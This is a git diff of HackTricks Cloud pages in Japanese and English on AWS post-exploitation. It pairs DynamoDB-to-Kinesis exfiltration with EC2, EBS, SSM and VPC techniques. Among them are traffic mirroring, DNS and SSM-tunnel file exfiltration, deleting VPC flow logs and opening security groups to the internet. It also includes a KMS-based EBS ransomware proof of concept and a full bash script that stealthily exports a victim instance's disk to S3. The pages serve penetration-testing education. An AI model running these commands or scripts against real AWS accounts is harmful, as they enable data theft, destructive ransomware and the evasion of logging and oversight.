-DynamoDB の Kinesis streaming destinations を悪用して、テーブルの変更を攻撃者が管理する Kinesis Data Stream に継続的に exfiltrate します。有効化されると、INSERT/MODIFY/REMOVE の各イベントがテーブルの読み取り権限を必要とせずほぼリアルタイムでストリームへ転送されます。
+DynamoDB の Kinesis streaming destinations を悪用して、テーブルの変更を攻撃者が制御する Kinesis Data Stream に継続的に exfiltrate します。有効化されると、INSERT/MODIFY/REMOVE の各イベントがほぼリアルタイムでストリームに転送され、テーブルの読み取り権限は不要になります。
 
-Minimum permissions (attacker):
+最小限の権限（攻撃者）:
 - 対象テーブルに対する `dynamodb:EnableKinesisStreamingDestination`
-- 状態を監視するためのオプション: `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`
-- 攻撃者所有の Kinesis stream のレコードを消費するための読み取り権限: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
+- 任意でステータス監視のための `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`
+- レコードを消費するため、攻撃者が所有する Kinesis ストリームへの読み取り権限：`kinesis:*`
 
 <details>
 <summary>PoC (us-east-1)</summary>
@@ -530,6 +531,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
 ```
 </details>
 
-**潜在的影響:** テーブルの変更を攻撃者が制御する Kinesis ストリームへ、テーブルへの直接的な読み取り操作を行わずに継続的かつほぼリアルタイムで持ち出すことが可能になる。
+**潜在的影響:** テーブルに対する直接の読み取り操作を行わずに、攻撃者が管理する Kinesis ストリームへテーブルの変更を継続的かつほぼリアルタイムで流出させる。
 
-{{#include ../../../banners/hacktricks-training.md}}
+
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md

@@ -1,29 +1,30 @@
-# AWS - EC2, EBS, SSM & VPC ポストエクスプロイト
+# AWS - EC2, EBS, SSM & VPC Post Exploitation
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
 ## EC2 & VPC
 
-詳細については、以下を確認してください：
+For more information check:
 
 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
-### **悪意のあるVPCミラー -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
+### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-VPCトラフィックミラーリングは、**VPC内のEC2インスタンスのインバウンドおよびアウトバウンドトラフィックを複製**し、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、通常、分析と監視のためにネットワーク侵入検知システム（IDS）などに送信されます。\
-攻撃者はこれを悪用して、すべてのトラフィックをキャプチャし、そこから機密情報を取得することができます：
+VPC traffic mirroring は、インスタンス自体に何もインストールする必要なく、**VPC 内の EC2 インスタンスの着信および発信トラフィックを複製します**。  
+複製されたトラフィックは通常、分析や監視のために network intrusion detection system (IDS) のようなものに送られます。  
+攻撃者はこれを悪用して全てのトラフィックをキャプチャし、そこから機密情報を取得する可能性があります:
 
-詳細については、このページを確認してください：
+For more information check this page:
 
 {{#ref}}
 aws-malicious-vpc-mirror.md
 {{#endref}}
 
-### 実行中のインスタンスのコピー
+### Copy Running Instance
 
-インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります（[EC2特権昇格トリック](../../aws-privilege-escalation/aws-ec2-privesc.md)を確認してください）。ただし、含まれているものを確認する別の方法は、**AMIを作成し、それから新しいインスタンスを実行することです（自分のアカウントであっても）**：
+インスタンスには通常何らかの機密情報が含まれています。内部に入る方法はいくつかあります（詳細は [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md) を参照）。しかし、含まれているものを確認する別の方法として、**AMI を作成してそこから新しいインスタンスを起動する（自分のアカウント内でも可）**：
 ```shell
 # List instances
 aws ec2 describe-images
@@ -47,112 +48,176 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
 aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
 ```
-### EBSスナップショットダンプ
+### EBS Snapshot dump
 
-**スナップショットはボリュームのバックアップ**であり、通常は**機密情報**を含むため、これを確認することでこの情報が明らかになる可能性があります。\
-**スナップショットのないボリューム**を見つけた場合は、**スナップショットを作成**して次のアクションを実行するか、単に**インスタンスにマウント**することができます：
+**Snapshots are backups of volumes** は通常 **機密情報** を含むため、確認することでこれらの情報が明らかになります。  
+もし **volume without a snapshot** を見つけたら、**Create a snapshot** を作成して以下の操作を行うか、またはアカウント内のインスタンスに**mount it in an instance**するだけでもよいです:
 
 {{#ref}}
 aws-ebs-snapshot-dump.md
 {{#endref}}
 
-### データの流出
+### Covert Disk Exfiltration via AMI Store-to-S3
 
-#### DNS流出
+EC2 AMI を `CreateStoreImageTask` を使って直接 S3 にエクスポートし、snapshot sharing を介さずに生のディスクイメージを取得します。これによりインスタンスのネットワーク設定を変更せずに、オフラインでの完全なフォレンジックやデータ窃取が可能になります。
 
-EC2をロックダウンしてトラフィックが外に出られないようにしても、**DNS経由で流出する**可能性があります。
+{{#ref}}
+aws-ami-store-s3-exfiltration.md
+{{#endref}}
 
-- **VPCフローログはこれを記録しません**。
-- AWS DNSログへのアクセスはありません。
-- 次のコマンドで"enableDnsSupport"をfalseに設定することでこれを無効にします：
+### Live Data Theft via EBS Multi-Attach
+
+io1/io2 の Multi-Attach ボリュームを別のインスタンスにアタッチし、読み取り専用でマウントしてスナップショットを取らずにライブデータを吸い上げます。被害者のボリュームが同じ AZ 内で既に Multi-Attach が有効になっている場合に有用です。
+
+{{#ref}}
+aws-ebs-multi-attach-data-theft.md
+{{#endref}}
+
+### EC2 Instance Connect Endpoint Backdoor
+
+EC2 Instance Connect Endpoint を作成し、ingress を許可して一時的な SSH キーを注入することで、managed tunnel 経由でプライベートインスタンスにアクセスできます。パブリックポートを開けずに迅速な横移動経路を確保します。
+
+{{#ref}}
+aws-ec2-instance-connect-endpoint-backdoor.md
+{{#endref}}
+
+### EC2 ENI Secondary Private IP Hijack
+
+被害者の ENI のセカンダリ private IP を攻撃者が制御する ENI に移動し、IP で allowlisted された信頼済みホストを偽装します。特定アドレスに紐づく内部 ACL や SG ルールを回避できます。
+
+{{#ref}}
+aws-eni-secondary-ip-hijack.md
+{{#endref}}
+
+### Elastic IP Hijack for Ingress/Egress Impersonation
+
+被害者インスタンスから Elastic IP を攻撃者側に再関連付けすることで、着信トラフィックを傍受したり、信頼されたパブリック IP から来ているように見える発信接続を行えます。
+
+{{#ref}}
+aws-eip-hijack-impersonation.md
+{{#endref}}
+
+### Security Group Backdoor via Managed Prefix Lists
+
+Security Group のルールが customer-managed prefix list を参照している場合、攻撃者の CIDR をそのリストに追加するだけで、SG 本体を変更せずに依存するすべての SG ルールへのアクセスが静かに拡大します。
+
+{{#ref}}
+aws-managed-prefix-list-backdoor.md
+{{#endref}}
+
+### VPC Endpoint Egress Bypass
+
+gateway または interface の VPC endpoint を作成して、分離されたサブネットからのアウトバウンドアクセスを取り戻します。AWS-managed private links を利用することで、IGW/NAT が無い制御をバイパスしてデータ exfiltration を行えます。
+
+{{#ref}}
+aws-vpc-endpoint-egress-bypass.md
+{{#endref}}
+
+### VPC Flow Logs Cross-Account Exfiltration
+
+VPC Flow Logs を攻撃者が管理する S3 バケットに向けることで、被害者アカウントの外でネットワークメタデータ（送信元/宛先、ポート等）を継続的に収集し、長期的な偵察を行えます。
+
+{{#ref}}
+aws-vpc-flow-logs-cross-account-exfiltration.md
+{{#endref}}
+
+### Data Exfiltration
+
+#### DNS Exfiltration
+
+たとえ EC2 を外部通信禁止にしても、**exfil via DNS** は可能です。
+
+- **VPC Flow Logs はこれを記録しません。**
+- AWS の DNS ログにはアクセスできません。
+- これを無効化するには "enableDnsSupport" を false に設定します:
 
 `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
 
-#### APIコールによる流出
+#### Exfiltration via API calls
 
-攻撃者は、自身が管理するアカウントのAPIエンドポイントを呼び出すことができます。Cloudtrailはこれらの呼び出しをログに記録し、攻撃者はCloudtrailログで流出したデータを見ることができます。
+攻撃者は自分が制御するアカウントの API エンドポイントを呼び出すことができます。Cloudtrail はこれらの呼び出しをログに記録するため、攻撃者は Cloudtrail ログ内で流出したデータを確認できます。
 
-### オープンセキュリティグループ
+### Open Security Group
 
-このようにポートを開くことで、ネットワークサービスへのさらなるアクセスを得ることができます：
+このようにポートを開くことでネットワークサービスへのさらなるアクセスを得られます:
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
 ### Privesc to ECS
 
-EC2インスタンスを実行し、ECSインスタンスを実行するために登録することが可能であり、その後ECSインスタンスのデータを盗むことができます。
+EC2インスタンスを実行して登録し、それを使ってECSインスタンスを実行させたあとに、ECSインスタンスのデータを盗むことが可能です。
 
-For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
+詳細は[**こちらを確認**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs)。
 
-### Remove VPC flow logs
+### VPC flow logs を削除
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
-### SSM ポートフォワーディング
+### SSM Port Forwarding
 
-必要な権限:
+Required permissions:
 
 - `ssm:StartSession`
 
-コマンド実行に加えて、SSMはトラフィックトンネリングを許可しており、これを悪用してセキュリティグループやNACLのためにネットワークアクセスがないEC2インスタンスからピボットすることができます。
-これが有用なシナリオの一つは、[Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)からプライベートEKSクラスターへのピボットです。
+In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs.
+One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster.
 
-> セッションを開始するには、SessionManagerPluginがインストールされている必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
+> セッションを開始するには SessionManagerPlugin がインストールされている必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
-1. マシンにSessionManagerPluginをインストールします
-2. 次のコマンドを使用してBastion EC2にログインします:
+1. お使いのマシンに SessionManagerPlugin をインストールする
+2. 次のコマンドを使って Bastion EC2 にログインする:
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. [AWS EC2 環境における SSRF の悪用](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) スクリプトを使用して、Bastion EC2 AWS 一時資格情報を取得します。
-4. 資格情報を `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして自分のマシンに転送します。
-5. Bastion EC2 として EKS にログインします:
+3. Bastion EC2 の AWS 一時認証情報を [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) スクリプトで取得する
+4. 認証情報を自分のマシンの `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして転送する
+5. Bastion EC2 として EKS にログインする:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
 ```
-6. `$HOME/.kube/config` ファイルの `server` フィールドを `https://localhost` に更新します  
-7. 次のように SSM トンネルを作成します:
+6. `$HOME/.kube/config` ファイルの `server` フィールドを `https://localhost` を指すように更新する
+7. 以下のようにSSMトンネルを作成する:
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-8. `kubectl`ツールからのトラフィックは、Bastion EC2を介してSSMトンネルを通じて転送されており、自分のマシンから次のコマンドを実行することでプライベートEKSクラスターにアクセスできます:
+8. `kubectl` ツールからのトラフィックは Bastion EC2 経由で SSM トンネルを通して転送されるようになり、次のコマンドを実行することで自分のマシンから private EKS cluster にアクセスできます:
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-SSL接続は、`--insecure-skip-tls-verify`フラグ（またはK8s監査ツールでの同等のもの）を設定しない限り失敗します。トラフィックが安全なAWS SSMトンネルを通じてトンネリングされているため、MitM攻撃からは安全です。
+注意：SSL 接続は `--insecure-skip-tls-verify ` フラグ（または K8s audit tools の同等の設定）を指定しないと失敗します。トラフィックはセキュアな AWS SSM トンネルを経由しているため、MitM 攻撃の心配はありません。
 
-最後に、この技術はプライベートEKSクラスターを攻撃するためのものではありません。任意のドメインとポートを設定して、他のAWSサービスやカスタムアプリケーションにピボットすることができます。
+最後に、この手法は private EKS clusters を攻撃することに特化したものではありません。任意のドメインやポートを設定して、他の AWS サービスやカスタムアプリケーションへピボットできます。
 
 ---
 
-#### クイックローカル ↔️ リモートポートフォワード (AWS-StartPortForwardingSession)
+#### クイック ローカル ↔️ リモート ポート転送 (AWS-StartPortForwardingSession)
 
-**EC2インスタンスからローカルホストに1つのTCPポートを転送するだけが必要な場合**は、`AWS-StartPortForwardingSession` SSMドキュメントを使用できます（リモートホストパラメータは不要です）：
+もし EC2 インスタンスからローカルホストへ **一つの TCP ポートだけを転送** したい場合は、`AWS-StartPortForwardingSession` SSM ドキュメントを使用できます（リモートホストパラメータは不要です）:
 ```bash
 aws ssm start-session --target i-0123456789abcdef0 \
 --document-name AWS-StartPortForwardingSession \
 --parameters "portNumber"="8000","localPortNumber"="8000" \
 --region <REGION>
 ```
-コマンドは、ワークステーション（`localPortNumber`）とインスタンス上の選択したポート（`portNumber`）の間に双方向トンネルを確立します **インバウンドセキュリティグループルールを開かずに**。
+このコマンドは、ワークステーション（`localPortNumber`）とインスタンス上の選択したポート（`portNumber`）の間に双方向トンネルを確立します（**without opening any inbound Security-Group rules**）。
 
-一般的な使用例：
+よくあるユースケース：
 
-* **ファイルの抽出**
-1. インスタンス上で、抽出したいディレクトリを指す簡単なHTTPサーバーを起動します：
+* **File exfiltration**
+1. インスタンス上で、exfiltrateしたいディレクトリを指す簡易HTTPサーバーを起動します：
 
 ```bash
 python3 -m http.server 8000
 ```
 
-2. ワークステーションからSSMトンネルを通じてファイルを取得します：
+2. ワークステーションからSSMトンネル経由でファイルを取得します：
 
 ```bash
 curl http://localhost:8000/loot.txt -o loot.txt
 ```
 
-* **内部ウェブアプリケーションへのアクセス（例：Nessus）**
+* **内部のウェブアプリケーションへのアクセス（例: Nessus）**
 ```bash
 # Forward remote Nessus port 8834 to local 8835
 aws ssm start-session --target i-0123456789abcdef0 \
@@ -160,28 +225,28 @@ aws ssm start-session --target i-0123456789abcdef0 \
 --parameters "portNumber"="8834","localPortNumber"="8835"
 # Browse to http://localhost:8835
 ```
-ヒント: CloudTrailがクリアテキストの内容をログに記録しないように、証拠を抽出する前に圧縮して暗号化してください:
+ヒント: 証拠は exfiltrating する前に Compress および encrypt しておき、CloudTrail が clear-text content を log しないようにする:
 ```bash
 # On the instance
 7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
 ```
-### AMIを共有する
+### AMI を共有する
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
-### 公共およびプライベート AMI での機密情報の検索
+### 公開およびプライベートな AMIs 内の機密情報を検索する
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は **公共またはプライベートの Amazon Machine Images (AMIs) 内の機密情報を検索するために設計されたツール** です。ターゲット AMI からインスタンスを起動し、そのボリュームをマウントし、潜在的な秘密や機密データをスキャンするプロセスを自動化します。
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は **公開またはプライベートな Amazon Machine Images (AMIs) 内の機密情報を検索する** ために設計されたツールです。ターゲット AMIs からインスタンスを起動し、それらのボリュームをマウントして、潜在的なシークレットや機密データをスキャンするプロセスを自動化します。
 
-### EBS スナップショットの共有
+### EBS Snapshot を共有する
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
 ### EBS Ransomware PoC
 
-S3のポストエクスプロイテーションノートで示されたランサムウェアデモに似た概念実証。KMSは、さまざまなAWSサービスを暗号化するために使用するのが簡単であることから、Ransomware Management Service（RMS）に改名されるべきです。
+S3 post-exploitation notesで示したRansomwareデモに似たproof of conceptです。KMSは、様々なAWSサービスを簡単に暗号化するのに使えることからRMS（Ransomware Management Service）と呼び換えるべきでしょう。
 
-まず、'attacker' AWSアカウントからKMSにカスタマーマネージドキーを作成します。この例では、AWSがキーのデータを管理しますが、現実的なシナリオでは悪意のあるアクターがAWSの管理外でキーのデータを保持します。キーのポリシーを変更して、任意のAWSアカウントのPrincipalがキーを使用できるようにします。このキーのポリシーでは、アカウント名は'AttackSim'で、すべてのアクセスを許可するポリシールールは'Outside Encryption'と呼ばれています。
+まず、'attacker' AWSアカウントからKMSにcustomer managed keyを作成します。この例ではAWSにキーのデータを管理させますが、現実的にはmalicious actorがキー情報をAWSの管理外に保持するでしょう。キーのポリシーを変更して、任意のAWSアカウントPrincipalがキーを使用できるようにします。このキー・ポリシーでは、アカウント名は 'AttackSim' で、すべてのアクセスを許可するポリシールールは 'Outside Encryption' と呼ばれていました。
 ```
 {
 "Version": "2012-10-17",
@@ -273,7 +338,7 @@ S3のポストエクスプロイテーションノートで示されたランサ
 ]
 }
 ```
-キー ポリシー ルールには、EBS ボリュームを暗号化するために使用できるようにするために、次のものを有効にする必要があります:
+キー ポリシー ルールには、EBS ボリュームを暗号化するために使用できるように次が有効になっている必要があります:
 
 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -281,21 +346,21 @@ S3のポストエクスプロイテーションノートで示されたランサ
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-公開アクセス可能なキーを使用して、暗号化されていない EBS ボリュームがアタッチされた EC2 インスタンスを持つ「被害者」アカウントを使用できます。この「被害者」アカウントの EBS ボリュームが暗号化のターゲットです。この攻撃は、高権限の AWS アカウントの侵害を前提としています。
+Now with the publicly accessible key to use. 'victim' アカウントを使用できます。そこには未暗号化の EBS ボリュームがアタッチされた EC2 インスタンスがいくつか起動しています。暗号化の対象はこの 'victim' アカウントの EBS ボリュームであり、この攻撃は高権限の AWS アカウントが侵害されたという想定の下で行われます。
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-S3 ランサムウェアの例と同様に、この攻撃はアタッチされた EBS ボリュームのコピーをスナップショットを使用して作成し、「攻撃者」アカウントからの公開利用可能なキーを使用して新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用されたスナップショットを削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+S3 ransomware の例と同様に、この攻撃ではアタッチされている EBS ボリュームのコピーを snapshots を使って作成し、'attacker' アカウントから公開されているキーを使って新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用した snapshots を削除します。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
-これにより、アカウントに残るのは暗号化された EBS ボリュームのみになります。
+その結果、アカウント内には暗号化された EBS ボリュームのみが残ります。
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
-また、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止しました。元の暗号化されていないボリュームはもうありません。
+また補足として、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止しました。元の未暗号化ボリュームはすでに消えています。
 
 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
 
-次に、「攻撃者」アカウントのキー ポリシーに戻り、キー ポリシーから「Outside Encryption」ポリシー ルールを削除します。
+次に、'attacker' アカウントのキー ポリシーに戻り、キー ポリシーから 'Outside Encryption' ポリシー ルールを削除します。
 ```json
 {
 "Version": "2012-10-17",
@@ -366,15 +431,15 @@ S3 ランサムウェアの例と同様に、この攻撃はアタッチされ
 ]
 }
 ```
-しばらく待って、新しく設定されたキー ポリシーが伝播するのを待ちます。その後、「被害者」アカウントに戻り、新しく暗号化された EBS ボリュームのいずれかをアタッチしようとします。ボリュームをアタッチできることがわかります。
+新しく設定したキーのポリシーが伝搬するまで少し待ちます。次に 'victim' アカウントに戻り、新しく暗号化された EBS ボリュームのうちの一つをアタッチしてみてください。ボリュームをアタッチできることがわかります。
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-しかし、暗号化された EBS ボリュームで EC2 インスタンスを実際に再起動しようとすると、失敗し、「保留中」状態から「停止」状態に永遠に戻ります。これは、アタッチされた EBS ボリュームがキー ポリシーがもはや許可していないため、キーを使用して復号化できないからです。
+しかし、暗号化された EBS ボリュームを使って EC2 インスタンスを実際に再起動しようとすると、キーのポリシーがもはや許可していないため、アタッチされている EBS ボリュームをキーで復号できず、インスタンスは 'pending' 状態から 'stopped' 状態に戻り続けて失敗します。
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-これが使用される Python スクリプトです。これは、「被害者」アカウントの AWS クレデンシャルと、暗号化に使用されるキーの公開利用可能な AWS ARN 値を取得します。このスクリプトは、ターゲット AWS アカウント内のすべての EC2 インスタンスにアタッチされているすべての利用可能な EBS ボリュームの暗号化されたコピーを作成し、その後、すべての EC2 インスタンスを停止し、元の EBS ボリュームをデタッチし、それらを削除し、最終的にプロセス中に使用されたすべてのスナップショットを削除します。これにより、ターゲットの「被害者」アカウントには暗号化された EBS ボリュームのみが残ります。このスクリプトはテスト環境でのみ使用してください。これは破壊的であり、すべての元の EBS ボリュームを削除します。使用された KMS キーを使用してそれらを復元し、スナップショットを介して元の状態に戻すことができますが、これは最終的にはランサムウェアの PoC であることを認識しておいてください。
+これは使用した python スクリプトです。'victim' アカウントの AWS creds と、暗号化に使用するための公開されている AWS ARN 値を受け取ります。スクリプトは、対象の AWS アカウント内のすべての EC2 インスタンスにアタッチされている利用可能な ALL の EBS ボリュームの暗号化コピーを作成し、その後すべての EC2 インスタンスを停止して元の EBS ボリュームをデタッチして削除し、最終的にプロセス中に使用したすべてのスナップショットを削除します。これにより、対象の 'victim' アカウントには暗号化された EBS ボリュームのみが残ります。テスト環境でのみこのスクリプトを使用してください。破壊的であり、元のすべての EBS ボリュームを削除します。使用した KMS key を使ってスナップショットから元の状態に復元することは可能ですが、最終的にはこれは ransomware PoC であることを認識してください。
 ```
 import boto3
 import argparse
@@ -491,8 +556,8 @@ delete_snapshots(ec2_client, snapshot_ids)
 if __name__ == "__main__":
 main()
 ```
-## 参考文献
+## 参考資料
 
-- [Pentest Partners – AWSでSSMを使用してファイルを転送する方法](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
+- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md

@@ -0,0 +1,137 @@
+# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## 概要
+EC2 の AMI export-to-S3 を悪用して、EC2 インスタンスのフルディスクを S3 に格納された単一の raw イメージとして持ち出し、アウトオブバンドでダウンロードします。これによりスナップショットの共有を回避し、AMI ごとに1つのオブジェクトが作成されます。
+
+## 要件
+- EC2: ターゲットのインスタンス/AMI 上で `ec2:CreateImage`、`ec2:CreateStoreImageTask`、`ec2:DescribeStoreImageTasks`
+- S3（同一リージョン）: `s3:PutObject`、`s3:GetObject`、`s3:ListBucket`、`s3:AbortMultipartUpload`、`s3:PutObjectTagging`、`s3:GetBucketLocation`
+- AMI スナップショットを保護するキーに対する KMS の decrypt（復号）権限（EBS のデフォルト暗号化が有効な場合）
+- `vmie.amazonaws.com` サービスプリンシパルを信頼する S3 バケットポリシー（下記参照）
+
+## 影響
+- スナップショットを共有したりアカウント間でコピーしたりせずに、インスタンスのルートディスク全体を S3 上でオフライン取得できる。
+- エクスポートされた raw イメージから認証情報、設定、ファイルシステムの内容に対するステルスなフォレンジックが可能になる。
+
+## AMI Store-to-S3 を使った持ち出し方法
+
+- 注記:
+- S3 バケットは AMI と同じリージョンにある必要があります。
+- `us-east-1` では、`create-bucket` に `--create-bucket-configuration` を含めてはいけません。
+- `--no-reboot` はインスタンスを停止せずにクラッシュ一貫性のあるイメージを作成します（よりステルスだが整合性は低い）。
+
+<details>
+<summary>ステップごとのコマンド</summary>
+```bash
+# Vars
+REGION=us-east-1
+INSTANCE_ID=<i-victim>
+BUCKET=exfil-ami-$(date +%s)-$RANDOM
+
+# 1) Create S3 bucket (same Region)
+if [ "$REGION" = "us-east-1" ]; then
+aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
+else
+aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
+fi
+
+# 2) (Recommended) Bucket policy to allow VMIE service to write the object
+ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+cat > /tmp/bucket-policy.json <<POL
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVMIEPut",
+"Effect": "Allow",
+"Principal": {"Service": "vmie.amazonaws.com"},
+"Action": [
+"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
+"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
+],
+"Resource": [
+"arn:aws:s3:::$BUCKET",
+"arn:aws:s3:::$BUCKET/*"
+],
+"Condition": {
+"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
+"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
+}
+}
+]
+}
+POL
+aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
+
+# 3) Create an AMI of the victim (stealthy: do not reboot)
+AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
+
+# 4) Wait until the AMI is available
+aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
+
+# 5) Store the AMI to S3 as a single object (raw disk image)
+OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
+
+echo "Object in S3: s3://$BUCKET/$OBJKEY"
+
+# 6) Poll the task until it completes
+until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
+aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text
+sleep 10
+done
+
+# 7) Prove access to the exported image (download first 1MiB)
+aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
+aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
+ls -l /tmp/ami.bin
+
+# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
+aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
+for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
+--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
+aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
+done
